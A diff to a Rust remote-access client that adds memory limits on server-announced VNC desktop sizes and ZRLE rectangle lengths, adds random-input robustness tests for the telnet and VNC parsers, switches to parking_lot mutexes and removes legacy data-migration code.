self.state.lock().unwrap().local_echo = false;
|
self.state.lock().local_echo = false;
|
||||||
}
|
}
|
||||||
OPT_SGA => self.negotiate(DO, opt),
|
OPT_SGA => self.negotiate(DO, opt),
|
||||||
_ => self.negotiate(DONT, opt),
|
_ => self.negotiate(DONT, opt),
|
||||||
@@ -225,7 +226,7 @@ impl Inner {
|
|||||||
fn handle_wont(&self, opt: u8) {
|
fn handle_wont(&self, opt: u8) {
|
||||||
self.debug(format!("received WONT {opt}"));
|
self.debug(format!("received WONT {opt}"));
|
||||||
if opt == OPT_ECHO {
|
if opt == OPT_ECHO {
|
||||||
self.state.lock().unwrap().local_echo = true;
|
self.state.lock().local_echo = true;
|
||||||
}
|
}
|
||||||
self.negotiate(DONT, opt);
|
self.negotiate(DONT, opt);
|
||||||
}
|
}
|
||||||
@@ -321,6 +322,19 @@ mod tests {
|
|||||||
use std::sync::mpsc;
|
use std::sync::mpsc;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostile_negotiation_never_panics() {
|
||||||
|
let c = TelnetClient::new(&Profile::new(crate::models::Protocol::Telnet), Callbacks::noop(), None);
|
||||||
|
let mut n = crate::Noise::new(0x7e1);
|
||||||
|
let mut pending = Vec::new();
|
||||||
|
for _ in 0..5000 {
|
||||||
|
// IAC, SE, SB, WILL, WONT, DO, DONT and the options the client handles.
|
||||||
|
let chunk = n.bytes(64, &[255, 240, 250, 251, 252, 253, 254, 1, 3, 24, 31, 32, 0, b'a']);
|
||||||
|
c.inner.process(&mut pending, &chunk);
|
||||||
|
assert!(pending.len() <= 16 << 10, "pending must stay bounded");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn line_endings() {
|
fn line_endings() {
|
||||||
let cases = [
|
let cases = [
|
||||||
@@ -362,7 +376,7 @@ mod tests {
|
|||||||
on_error: Arc::new(move |e| etx.send(e).unwrap()),
|
on_error: Arc::new(move |e| etx.send(e).unwrap()),
|
||||||
on_close: Arc::new(move || ctx.send(()).unwrap()),
|
on_close: Arc::new(move || ctx.send(()).unwrap()),
|
||||||
};
|
};
|
||||||
let client = TelnetClient::new(&profile, cb, Some(Arc::new(move |m| dbg.lock().unwrap().push(m))));
|
let client = TelnetClient::new(&profile, cb, Some(Arc::new(move |m| dbg.lock().push(m))));
|
||||||
client.connect().unwrap();
|
client.connect().unwrap();
|
||||||
let (mut srv, _) = listener.accept().unwrap();
|
let (mut srv, _) = listener.accept().unwrap();
|
||||||
srv.set_read_timeout(Some(Duration::from_secs(5))).unwrap();
|
srv.set_read_timeout(Some(Duration::from_secs(5))).unwrap();
|
||||||
@@ -399,7 +413,7 @@ mod tests {
|
|||||||
client.write(b"ls\n\xff").unwrap();
|
client.write(b"ls\n\xff").unwrap();
|
||||||
assert_eq!(read_n(&mut srv, 6), b"ls\r\n\xff\xff");
|
assert_eq!(read_n(&mut srv, 6), b"ls\r\n\xff\xff");
|
||||||
|
|
||||||
let log = debug.lock().unwrap().clone();
|
let log = debug.lock().clone();
|
||||||
for m in ["received DO 24", "sending WILL 31", "sending NAWS: 80x24", "sending WONT 99", "sending terminal type: xterm-256color"] {
|
for m in ["received DO 24", "sending WILL 31", "sending NAWS: 80x24", "sending WONT 99", "sending terminal type: xterm-256color"] {
|
||||||
assert!(log.iter().any(|l| l == m), "missing debug {m:?} in {log:?}");
|
assert!(log.iter().any(|l| l == m), "missing debug {m:?} in {log:?}");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,9 +6,10 @@
|
|||||||
//! the shared `Arc<Mutex<Framebuffer>>` the UI reads, so the lock is never held across network reads.
|
//! the shared `Arc<Mutex<Framebuffer>>` the UI reads, so the lock is never held across network reads.
|
||||||
//! Outgoing input is queued and written whenever a read polls out, so the transport is never split.
|
//! Outgoing input is queued and written whenever a read polls out, so the transport is never split.
|
||||||
|
|
||||||
|
use parking_lot::{Mutex, MutexGuard};
|
||||||
use std::io::{BufReader, ErrorKind, Read, Write};
|
use std::io::{BufReader, ErrorKind, Read, Write};
|
||||||
|
use std::sync::Arc;
|
||||||
use std::sync::mpsc::{self, Receiver, Sender, TryRecvError};
|
use std::sync::mpsc::{self, Receiver, Sender, TryRecvError};
|
||||||
use std::sync::{Arc, Mutex, MutexGuard};
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use flate2::{Decompress, FlushDecompress};
|
use flate2::{Decompress, FlushDecompress};
|
||||||
@@ -17,6 +18,10 @@ pub use super::irc::{Connector, ReadWrite};
|
|||||||
use super::{CloseFn, ErrorFn};
|
use super::{CloseFn, ErrorFn};
|
||||||
|
|
||||||
const READ_POLL: Duration = Duration::from_millis(50);
|
const READ_POLL: Duration = Duration::from_millis(50);
|
||||||
|
/// Largest desktop accepted from the server (64 Mpx = 256 MiB of RGBA; an 8K display is 33 Mpx).
|
||||||
|
const MAX_FB_PIXELS: usize = 64 << 20;
|
||||||
|
/// Largest single compressed rectangle (ZRLE) read from the server.
|
||||||
|
const MAX_ZRLE_BYTES: usize = 64 << 20;
|
||||||
|
|
||||||
pub type FrameFn = Arc<dyn Fn() + Send + Sync>;
|
pub type FrameFn = Arc<dyn Fn() + Send + Sync>;
|
||||||
pub type ResizeFn = Arc<dyn Fn(u16, u16) + Send + Sync>;
|
pub type ResizeFn = Arc<dyn Fn(u16, u16) + Send + Sync>;
|
||||||
@@ -80,6 +85,14 @@ impl Framebuffer {
|
|||||||
Framebuffer { width, height, rgba, dirty: true }
|
Framebuffer { width, height, rgba, dirty: true }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A framebuffer of a server-announced size, refusing sizes that would exhaust memory.
|
||||||
|
pub(crate) fn new_checked(width: u16, height: u16) -> crate::Result<Framebuffer> {
|
||||||
|
if width == 0 || height == 0 || width as usize * height as usize > MAX_FB_PIXELS {
|
||||||
|
return Err(format!("unsupported desktop size {width}x{height}").into());
|
||||||
|
}
|
||||||
|
Ok(Framebuffer::new(width, height))
|
||||||
|
}
|
||||||
|
|
||||||
fn check(&self, x: u16, y: u16, w: u16, h: u16) -> crate::Result<()> {
|
fn check(&self, x: u16, y: u16, w: u16, h: u16) -> crate::Result<()> {
|
||||||
if x as usize + w as usize > self.width as usize || y as usize + h as usize > self.height as usize {
|
if x as usize + w as usize > self.width as usize || y as usize + h as usize > self.height as usize {
|
||||||
return Err(format!("rectangle {w}x{h}+{x}+{y} outside the {}x{} framebuffer", self.width, self.height).into());
|
return Err(format!("rectangle {w}x{h}+{x}+{y} outside the {}x{} framebuffer", self.width, self.height).into());
|
||||||
@@ -140,7 +153,7 @@ impl Client {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn st(&self) -> MutexGuard<'_, State> {
|
fn st(&self) -> MutexGuard<'_, State> {
|
||||||
self.state.lock().unwrap_or_else(|e| e.into_inner())
|
self.state.lock()
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Connects and blocks until the handshake completes (ServerInit received), fails, or times out.
|
/// Connects and blocks until the handshake completes (ServerInit received), fails, or times out.
|
||||||
@@ -148,7 +161,7 @@ impl Client {
|
|||||||
let (ready_tx, ready_rx) = mpsc::channel();
|
let (ready_tx, ready_rx) = mpsc::channel();
|
||||||
let (out_tx, out_rx) = mpsc::channel();
|
let (out_tx, out_rx) = mpsc::channel();
|
||||||
self.st().ready = Some(ready_tx);
|
self.st().ready = Some(ready_tx);
|
||||||
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = Some(out_tx);
|
*self.out.lock() = Some(out_tx);
|
||||||
|
|
||||||
let client = self.clone();
|
let client = self.clone();
|
||||||
std::thread::spawn(move || client.io_thread(out_rx));
|
std::thread::spawn(move || client.io_thread(out_rx));
|
||||||
@@ -174,7 +187,7 @@ impl Client {
|
|||||||
st.closing = true;
|
st.closing = true;
|
||||||
}
|
}
|
||||||
// Dropping the sender makes the I/O thread's next poll end the connection.
|
// Dropping the sender makes the I/O thread's next poll end the connection.
|
||||||
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = None;
|
*self.out.lock() = None;
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn framebuffer(&self) -> Arc<Mutex<Framebuffer>> {
|
pub fn framebuffer(&self) -> Arc<Mutex<Framebuffer>> {
|
||||||
@@ -221,20 +234,20 @@ impl Client {
|
|||||||
/// Asks for a non-incremental update of the whole screen.
|
/// Asks for a non-incremental update of the whole screen.
|
||||||
pub fn request_full_update(&self) -> crate::Result<()> {
|
pub fn request_full_update(&self) -> crate::Result<()> {
|
||||||
let (w, h) = {
|
let (w, h) = {
|
||||||
let fb = self.fb.lock().unwrap_or_else(|e| e.into_inner());
|
let fb = self.fb.lock();
|
||||||
(fb.width, fb.height)
|
(fb.width, fb.height)
|
||||||
};
|
};
|
||||||
self.queue(update_request(false, w, h))
|
self.queue(update_request(false, w, h))
|
||||||
}
|
}
|
||||||
|
|
||||||
fn queue(&self, msg: Vec<u8>) -> crate::Result<()> {
|
fn queue(&self, msg: Vec<u8>) -> crate::Result<()> {
|
||||||
let guard = self.out.lock().unwrap_or_else(|e| e.into_inner());
|
let guard = self.out.lock();
|
||||||
if guard.as_ref().is_some_and(|tx| tx.send(msg).is_ok()) { Ok(()) } else { Err("not connected".into()) }
|
if guard.as_ref().is_some_and(|tx| tx.send(msg).is_ok()) { Ok(()) } else { Err("not connected".into()) }
|
||||||
}
|
}
|
||||||
|
|
||||||
fn io_thread(self: Arc<Self>, out_rx: Receiver<Vec<u8>>) {
|
fn io_thread(self: Arc<Self>, out_rx: Receiver<Vec<u8>>) {
|
||||||
let result = self.open_transport().and_then(|io| self.run(io, out_rx));
|
let result = self.open_transport().and_then(|io| self.run(io, out_rx));
|
||||||
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = None;
|
*self.out.lock() = None;
|
||||||
let (was_closing, was_connected, ready) = {
|
let (was_closing, was_connected, ready) = {
|
||||||
let mut st = self.st();
|
let mut st = self.st();
|
||||||
let r = (st.closing, st.connected, st.ready.take());
|
let r = (st.closing, st.connected, st.ready.take());
|
||||||
@@ -270,8 +283,8 @@ impl Client {
|
|||||||
fn run(&self, io: Box<dyn ReadWrite>, out_rx: Receiver<Vec<u8>>) -> crate::Result<()> {
|
fn run(&self, io: Box<dyn ReadWrite>, out_rx: Receiver<Vec<u8>>) -> crate::Result<()> {
|
||||||
let mut r = BufReader::with_capacity(1 << 16, Conn { io, out_rx });
|
let mut r = BufReader::with_capacity(1 << 16, Conn { io, out_rx });
|
||||||
let (w, h) = self.handshake(&mut r)?;
|
let (w, h) = self.handshake(&mut r)?;
|
||||||
let mut local = Framebuffer::new(w, h);
|
let mut local = Framebuffer::new_checked(w, h)?;
|
||||||
*self.fb.lock().unwrap_or_else(|e| e.into_inner()) = local.clone();
|
*self.fb.lock() = local.clone();
|
||||||
(self.cfg.on_resize)(w, h);
|
(self.cfg.on_resize)(w, h);
|
||||||
{
|
{
|
||||||
let mut st = self.st();
|
let mut st = self.st();
|
||||||
@@ -290,7 +303,7 @@ impl Client {
|
|||||||
0 => {
|
0 => {
|
||||||
let (y0, y1, resized) = read_update(&mut r, &mut local, &mut dec)?;
|
let (y0, y1, resized) = read_update(&mut r, &mut local, &mut dec)?;
|
||||||
{
|
{
|
||||||
let mut fb = self.fb.lock().unwrap_or_else(|e| e.into_inner());
|
let mut fb = self.fb.lock();
|
||||||
if resized {
|
if resized {
|
||||||
*fb = local.clone();
|
*fb = local.clone();
|
||||||
} else if y0 < y1 {
|
} else if y0 < y1 {
|
||||||
@@ -545,7 +558,7 @@ fn read_update(r: &mut impl Read, fb: &mut Framebuffer, dec: &mut Decoders) -> c
|
|||||||
}
|
}
|
||||||
// ExtendedDesktopSize y is the status; non-zero answers a SetDesktopSize we never send.
|
// ExtendedDesktopSize y is the status; non-zero answers a SetDesktopSize we never send.
|
||||||
if enc == -223 || y == 0 {
|
if enc == -223 || y == 0 {
|
||||||
*fb = Framebuffer::new(w, ht);
|
*fb = Framebuffer::new_checked(w, ht)?;
|
||||||
resized = true;
|
resized = true;
|
||||||
}
|
}
|
||||||
continue;
|
continue;
|
||||||
@@ -575,6 +588,9 @@ fn read_update(r: &mut impl Read, fb: &mut Framebuffer, dec: &mut Decoders) -> c
|
|||||||
7 => tight(r, fb, dec, x, y, w, ht)?,
|
7 => tight(r, fb, dec, x, y, w, ht)?,
|
||||||
16 => {
|
16 => {
|
||||||
let len = read_u32(r)? as usize;
|
let len = read_u32(r)? as usize;
|
||||||
|
if len > MAX_ZRLE_BYTES {
|
||||||
|
return Err(format!("ZRLE rectangle of {len} bytes exceeds {MAX_ZRLE_BYTES}").into());
|
||||||
|
}
|
||||||
let data = read_n(r, len)?;
|
let data = read_n(r, len)?;
|
||||||
inflate(&mut dec.zrle, &data, &mut dec.buf)?;
|
inflate(&mut dec.zrle, &data, &mut dec.buf)?;
|
||||||
zrle(&dec.buf, fb, x, y, w, ht)?;
|
zrle(&dec.buf, fb, x, y, w, ht)?;
|
||||||
@@ -850,6 +866,44 @@ mod tests {
|
|||||||
use super::*;
|
use super::*;
|
||||||
use std::net::TcpListener;
|
use std::net::TcpListener;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostile_updates_never_panic() {
|
||||||
|
use flate2::{Compress, Compression, FlushCompress};
|
||||||
|
let mut n = crate::Noise::new(0x5eed);
|
||||||
|
let (mut fb, mut dec) = (Framebuffer::new(32, 32), Decoders::default());
|
||||||
|
let mut z = Compress::new(Compression::fast(), true);
|
||||||
|
let mut decoded = [0usize; 2]; // successful ZRLE / other updates
|
||||||
|
for _ in 0..3000 {
|
||||||
|
let enc: i32 = [0, 1, 5, 7, 16, -223, -224, -308, 99][n.below(9)];
|
||||||
|
let dim = |n: &mut crate::Noise| n.below(40) as u16;
|
||||||
|
let (x, y, w, h) = (dim(&mut n), dim(&mut n), dim(&mut n), dim(&mut n));
|
||||||
|
let mut msg = vec![0, 0, 1];
|
||||||
|
for v in [x, y, w, h] {
|
||||||
|
msg.extend_from_slice(&v.to_be_bytes());
|
||||||
|
}
|
||||||
|
msg.extend_from_slice(&enc.to_be_bytes());
|
||||||
|
let body = n.bytes(600, &[0, 1, 2, 0xff, 0x80, 0x10, 0x1f]);
|
||||||
|
if enc == 16 {
|
||||||
|
// ZRLE: random tiles behind a real zlib stream, so the decoder itself is reached.
|
||||||
|
let mut out = Vec::with_capacity(body.len() * 2 + 64);
|
||||||
|
z.compress_vec(&body, &mut out, FlushCompress::Sync).unwrap();
|
||||||
|
msg.extend_from_slice(&(out.len() as u32).to_be_bytes());
|
||||||
|
msg.extend_from_slice(&out);
|
||||||
|
} else {
|
||||||
|
msg.extend_from_slice(&body);
|
||||||
|
}
|
||||||
|
match read_update(&mut &msg[..], &mut fb, &mut dec) {
|
||||||
|
Ok(_) => decoded[(enc != 16) as usize] += 1,
|
||||||
|
// The persistent zlib streams may have desynchronised; start them afresh.
|
||||||
|
Err(_) => (dec, z) = (Decoders::default(), Compress::new(Compression::fast(), true)),
|
||||||
|
}
|
||||||
|
if fb.width as usize * fb.height as usize > 1 << 20 {
|
||||||
|
fb = Framebuffer::new(32, 32);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
assert!(decoded.iter().all(|&d| d > 0), "the harness must reach the decoders: {decoded:?}");
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn des_response_matches_known_vector() {
|
fn des_response_matches_known_vector() {
|
||||||
// openssl enc -des-ecb -K 0e86ceceeef64e26 (bit-reversed "password") over "0123456789abcdef".
|
// openssl enc -des-ecb -K 0e86ceceeef64e26 (bit-reversed "password") over "0123456789abcdef".
|
||||||
@@ -968,7 +1022,7 @@ mod tests {
|
|||||||
frame_rx.recv_timeout(Duration::from_secs(5)).unwrap();
|
frame_rx.recv_timeout(Duration::from_secs(5)).unwrap();
|
||||||
{
|
{
|
||||||
let fb = client.framebuffer();
|
let fb = client.framebuffer();
|
||||||
let fb = fb.lock().unwrap();
|
let fb = fb.lock();
|
||||||
assert_eq!((fb.width, fb.height), (4, 4));
|
assert_eq!((fb.width, fb.height), (4, 4));
|
||||||
assert!(fb.dirty);
|
assert!(fb.dirty);
|
||||||
let px = |x: usize, y: usize| &fb.rgba[(y * 4 + x) * 4..(y * 4 + x) * 4 + 4];
|
let px = |x: usize, y: usize| &fb.rgba[(y * 4 + x) * 4..(y * 4 + x) * 4 + 4];
|
||||||
@@ -1038,4 +1092,22 @@ mod tests {
|
|||||||
fn apple_only_security_is_explained() {
|
fn apple_only_security_is_explained() {
|
||||||
assert!(unsupported_security(&[30, 33]).contains("Apple Remote Desktop"));
|
assert!(unsupported_security(&[30, 33]).contains("Apple Remote Desktop"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn server_sizes_and_rect_lengths_are_bounded() {
|
||||||
|
assert!(Framebuffer::new_checked(7680, 4320).is_ok());
|
||||||
|
assert!(Framebuffer::new_checked(0, 10).is_err());
|
||||||
|
assert!(Framebuffer::new_checked(u16::MAX, u16::MAX).is_err());
|
||||||
|
// A DesktopSize pseudo-rect announcing a 65535x65535 desktop is refused before allocating.
|
||||||
|
let mut m = vec![0, 0, 1];
|
||||||
|
rect(&mut m, 0, 0, u16::MAX, u16::MAX, -223);
|
||||||
|
let mut fb = Framebuffer::new(4, 4);
|
||||||
|
let mut dec = Decoders::default();
|
||||||
|
assert!(read_update(&mut &m[..], &mut fb, &mut dec).unwrap_err().to_string().contains("unsupported desktop size"));
|
||||||
|
// A ZRLE rect claiming 4 GiB of data is refused before allocating.
|
||||||
|
let mut m = vec![0, 0, 1];
|
||||||
|
rect(&mut m, 0, 0, 4, 4, 16);
|
||||||
|
m.extend_from_slice(&u32::MAX.to_be_bytes());
|
||||||
|
assert!(read_update(&mut &m[..], &mut fb, &mut dec).unwrap_err().to_string().contains("exceeds"));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-84
@@ -1,9 +1,8 @@
|
|||||||
//! Data directories, and the one-time move of Alchementary Link data into Nexus Terminal's.
|
//! Data directories.
|
||||||
|
|
||||||
use std::path::{Path, PathBuf};
|
use std::path::{Path, PathBuf};
|
||||||
|
|
||||||
pub const APP_DIR: &str = "NexusTerminal";
|
pub const APP_DIR: &str = "NexusTerminal";
|
||||||
pub const LEGACY_APP_DIR: &str = "AlchementaryLink";
|
|
||||||
|
|
||||||
#[derive(Clone, Debug)]
|
#[derive(Clone, Debug)]
|
||||||
pub struct AppConfig {
|
pub struct AppConfig {
|
||||||
@@ -11,12 +10,10 @@ pub struct AppConfig {
|
|||||||
pub db_path: PathBuf,
|
pub db_path: PathBuf,
|
||||||
pub vault_dir: PathBuf,
|
pub vault_dir: PathBuf,
|
||||||
pub recordings_dir: PathBuf,
|
pub recordings_dir: PathBuf,
|
||||||
/// Set when this run copied data across from Alchementary Link.
|
|
||||||
pub migrated_from: Option<PathBuf>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// `~/Library/Application Support` on macOS, `%APPDATA%` on Windows, `$XDG_CONFIG_HOME` or
|
/// `~/Library/Application Support` on macOS, `%APPDATA%` on Windows, `$XDG_CONFIG_HOME` or
|
||||||
/// `~/.config` elsewhere — the same bases the Go app used.
|
/// `~/.config` elsewhere.
|
||||||
pub fn base_dir() -> PathBuf {
|
pub fn base_dir() -> PathBuf {
|
||||||
let home = || std::env::var_os(if cfg!(windows) { "USERPROFILE" } else { "HOME" }).map(PathBuf::from).unwrap_or_default();
|
let home = || std::env::var_os(if cfg!(windows) { "USERPROFILE" } else { "HOME" }).map(PathBuf::from).unwrap_or_default();
|
||||||
if cfg!(target_os = "macos") {
|
if cfg!(target_os = "macos") {
|
||||||
@@ -30,20 +27,12 @@ pub fn base_dir() -> PathBuf {
|
|||||||
|
|
||||||
impl AppConfig {
|
impl AppConfig {
|
||||||
pub fn in_dir(data_dir: PathBuf) -> AppConfig {
|
pub fn in_dir(data_dir: PathBuf) -> AppConfig {
|
||||||
AppConfig {
|
AppConfig { db_path: data_dir.join("nexus.db"), vault_dir: data_dir.join("vault"), recordings_dir: data_dir.join("recordings"), data_dir }
|
||||||
db_path: data_dir.join("nexus.db"),
|
|
||||||
vault_dir: data_dir.join("vault"),
|
|
||||||
recordings_dir: data_dir.join("recordings"),
|
|
||||||
data_dir,
|
|
||||||
migrated_from: None,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Resolves the data directory, migrating legacy data first, and creates the directories.
|
/// Resolves the data directory and creates it.
|
||||||
pub fn load() -> std::io::Result<AppConfig> {
|
pub fn load() -> std::io::Result<AppConfig> {
|
||||||
let base = base_dir();
|
let cfg = AppConfig::in_dir(base_dir().join(APP_DIR));
|
||||||
let mut cfg = AppConfig::in_dir(base.join(APP_DIR));
|
|
||||||
cfg.migrated_from = migrate_legacy(&base.join(LEGACY_APP_DIR), &cfg)?;
|
|
||||||
for d in [&cfg.data_dir, &cfg.vault_dir] {
|
for d in [&cfg.data_dir, &cfg.vault_dir] {
|
||||||
create_private_dir(d)?;
|
create_private_dir(d)?;
|
||||||
}
|
}
|
||||||
@@ -51,76 +40,10 @@ impl AppConfig {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn create_private_dir(d: &Path) -> std::io::Result<()> {
|
/// Creates `d` (and parents) readable only by the owner.
|
||||||
|
pub fn create_private_dir(d: &Path) -> std::io::Result<()> {
|
||||||
std::fs::create_dir_all(d)?;
|
std::fs::create_dir_all(d)?;
|
||||||
#[cfg(unix)]
|
#[cfg(unix)]
|
||||||
std::fs::set_permissions(d, std::os::unix::fs::PermissionsExt::from_mode(0o700))?;
|
std::fs::set_permissions(d, std::os::unix::fs::PermissionsExt::from_mode(0o700))?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Copies (never moves) `AlchementaryLink/{link.db, vault/, recordings/}` into the Nexus
|
|
||||||
/// directory when Nexus has no database yet. A pre-rebrand `NexusTerminal/nexus.db` wins as-is.
|
|
||||||
pub fn migrate_legacy(legacy: &Path, cfg: &AppConfig) -> std::io::Result<Option<PathBuf>> {
|
|
||||||
let legacy_db = legacy.join("link.db");
|
|
||||||
if cfg.db_path.exists() || !legacy_db.exists() {
|
|
||||||
return Ok(None);
|
|
||||||
}
|
|
||||||
create_private_dir(&cfg.data_dir)?;
|
|
||||||
// Fold the WAL into the main file so the copy is complete.
|
|
||||||
if let Ok(c) = rusqlite::Connection::open(&legacy_db) {
|
|
||||||
let _ = c.pragma_update(None, "wal_checkpoint", "TRUNCATE");
|
|
||||||
}
|
|
||||||
std::fs::copy(&legacy_db, &cfg.db_path)?;
|
|
||||||
copy_dir(&legacy.join("vault"), &cfg.vault_dir)?;
|
|
||||||
copy_dir(&legacy.join("recordings"), &cfg.recordings_dir)?;
|
|
||||||
std::fs::write(cfg.data_dir.join("migrated-from"), legacy.to_string_lossy().as_bytes())?;
|
|
||||||
Ok(Some(legacy.to_path_buf()))
|
|
||||||
}
|
|
||||||
|
|
||||||
fn copy_dir(from: &Path, to: &Path) -> std::io::Result<()> {
|
|
||||||
let Ok(rd) = std::fs::read_dir(from) else { return Ok(()) };
|
|
||||||
create_private_dir(to)?;
|
|
||||||
for e in rd.flatten() {
|
|
||||||
if e.file_type()?.is_file() && !to.join(e.file_name()).exists() {
|
|
||||||
std::fs::copy(e.path(), to.join(e.file_name()))?;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
fn tmp(name: &str) -> PathBuf {
|
|
||||||
let d = std::env::temp_dir().join(format!("nexus-cfg-{name}-{}", std::process::id()));
|
|
||||||
let _ = std::fs::remove_dir_all(&d);
|
|
||||||
d
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn migrates_legacy_once_and_keeps_source() {
|
|
||||||
let base = tmp("mig");
|
|
||||||
let legacy = base.join(LEGACY_APP_DIR);
|
|
||||||
std::fs::create_dir_all(legacy.join("vault")).unwrap();
|
|
||||||
std::fs::write(legacy.join("link.db"), b"db").unwrap();
|
|
||||||
std::fs::write(legacy.join("vault/vault.json"), b"{}").unwrap();
|
|
||||||
let cfg = AppConfig::in_dir(base.join(APP_DIR));
|
|
||||||
assert_eq!(migrate_legacy(&legacy, &cfg).unwrap(), Some(legacy.clone()));
|
|
||||||
assert_eq!(std::fs::read(&cfg.db_path).unwrap(), b"db");
|
|
||||||
assert!(cfg.vault_dir.join("vault.json").exists());
|
|
||||||
assert!(legacy.join("link.db").exists());
|
|
||||||
// Second run: Nexus already has a database, nothing happens.
|
|
||||||
std::fs::write(legacy.join("link.db"), b"newer").unwrap();
|
|
||||||
assert_eq!(migrate_legacy(&legacy, &cfg).unwrap(), None);
|
|
||||||
assert_eq!(std::fs::read(&cfg.db_path).unwrap(), b"db");
|
|
||||||
std::fs::remove_dir_all(base).unwrap();
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn no_legacy_no_migration() {
|
|
||||||
let base = tmp("none");
|
|
||||||
let cfg = AppConfig::in_dir(base.join(APP_DIR));
|
|
||||||
assert_eq!(migrate_legacy(&base.join(LEGACY_APP_DIR), &cfg).unwrap(), None);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
//! Password-encrypted profile exports: `[version 1][salt 32][nonce 12][AES-256-GCM ciphertext]`
|
//! Password-encrypted profile exports: `[version 1][salt 32][nonce 12][AES-256-GCM ciphertext]`
|
||||||
//! over a JSON bundle, with the vault's Argon2id parameters. `.link` files from Alchementary
|
//! over a JSON bundle, with the vault's Argon2id parameters.
|
||||||
//! Link are the same format.
|
|
||||||
|
|
||||||
use crate::Result;
|
use crate::Result;
|
||||||
use crate::models::Profile;
|
use crate::models::Profile;
|
||||||
@@ -41,7 +40,7 @@ pub fn encrypt_and_export(profiles: &[Profile], password: &str, path: &Path) ->
|
|||||||
let salt = random_bytes::<32>();
|
let salt = random_bytes::<32>();
|
||||||
let nonce = random_bytes::<12>();
|
let nonce = random_bytes::<12>();
|
||||||
let key = derive_key(password, &salt)?;
|
let key = derive_key(password, &salt)?;
|
||||||
let ct = Aes256Gcm::new((&key).into()).encrypt(Nonce::from_slice(&nonce), plain.as_slice()).map_err(|e| e.to_string())?;
|
let ct = Aes256Gcm::new((&*key).into()).encrypt(Nonce::from_slice(&nonce), plain.as_slice()).map_err(|e| e.to_string())?;
|
||||||
let mut out = vec![VERSION];
|
let mut out = vec![VERSION];
|
||||||
out.extend(salt);
|
out.extend(salt);
|
||||||
out.extend(nonce);
|
out.extend(nonce);
|
||||||
@@ -64,7 +63,7 @@ pub fn decrypt_and_import(path: &Path, password: &str) -> Result<Vec<Profile>> {
|
|||||||
return Err(format!("exportimport: unsupported format version {}", data[0]).into());
|
return Err(format!("exportimport: unsupported format version {}", data[0]).into());
|
||||||
}
|
}
|
||||||
let key = derive_key(password, &data[1..33])?;
|
let key = derive_key(password, &data[1..33])?;
|
||||||
let plain = Aes256Gcm::new((&key).into())
|
let plain = Aes256Gcm::new((&*key).into())
|
||||||
.decrypt(Nonce::from_slice(&data[33..45]), &data[45..])
|
.decrypt(Nonce::from_slice(&data[33..45]), &data[45..])
|
||||||
.map_err(|_| "exportimport: decryption failed — wrong password or corrupt file")?;
|
.map_err(|_| "exportimport: decryption failed — wrong password or corrupt file")?;
|
||||||
let bundle: Bundle = serde_json::from_slice(&plain).map_err(|e| format!("exportimport: invalid bundle JSON: {e}"))?;
|
let bundle: Bundle = serde_json::from_slice(&plain).map_err(|e| format!("exportimport: invalid bundle JSON: {e}"))?;
|
||||||
@@ -76,14 +75,13 @@ mod tests {
|
|||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn reads_go_export_and_round_trips() {
|
fn round_trips() {
|
||||||
let fx = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/profiles.link");
|
let mut p = Profile::new(crate::models::Protocol::Ssh);
|
||||||
assert!(decrypt_and_import(&fx, "nope").is_err());
|
p.host = "box".into();
|
||||||
let ps = decrypt_and_import(&fx, "export-pass").unwrap();
|
let ps = vec![p];
|
||||||
assert_eq!(ps.len(), 6);
|
|
||||||
assert_eq!(ps[0].ssh.as_ref().unwrap().jump_hosts[0].port, 2222);
|
|
||||||
let out = std::env::temp_dir().join(format!("nexus-export-{}.nexus", std::process::id()));
|
let out = std::env::temp_dir().join(format!("nexus-export-{}.nexus", std::process::id()));
|
||||||
encrypt_and_export(&ps, "pw", &out).unwrap();
|
encrypt_and_export(&ps, "pw", &out).unwrap();
|
||||||
|
assert!(decrypt_and_import(&out, "nope").is_err());
|
||||||
assert_eq!(decrypt_and_import(&out, "pw").unwrap(), ps);
|
assert_eq!(decrypt_and_import(&out, "pw").unwrap(), ps);
|
||||||
std::fs::remove_file(out).unwrap();
|
std::fs::remove_file(out).unwrap();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -19,3 +19,34 @@ pub mod validation;
|
|||||||
|
|
||||||
pub type Error = Box<dyn std::error::Error + Send + Sync>;
|
pub type Error = Box<dyn std::error::Error + Send + Sync>;
|
||||||
pub type Result<T> = std::result::Result<T, Error>;
|
pub type Result<T> = std::result::Result<T, Error>;
|
||||||
|
|
||||||
|
/// Seeded pseudo-random input for the parsers' "hostile bytes never panic" tests. Not coverage
|
||||||
|
/// guided like cargo-fuzz, but runs on stable in every CI run.
|
||||||
|
#[cfg(test)]
|
||||||
|
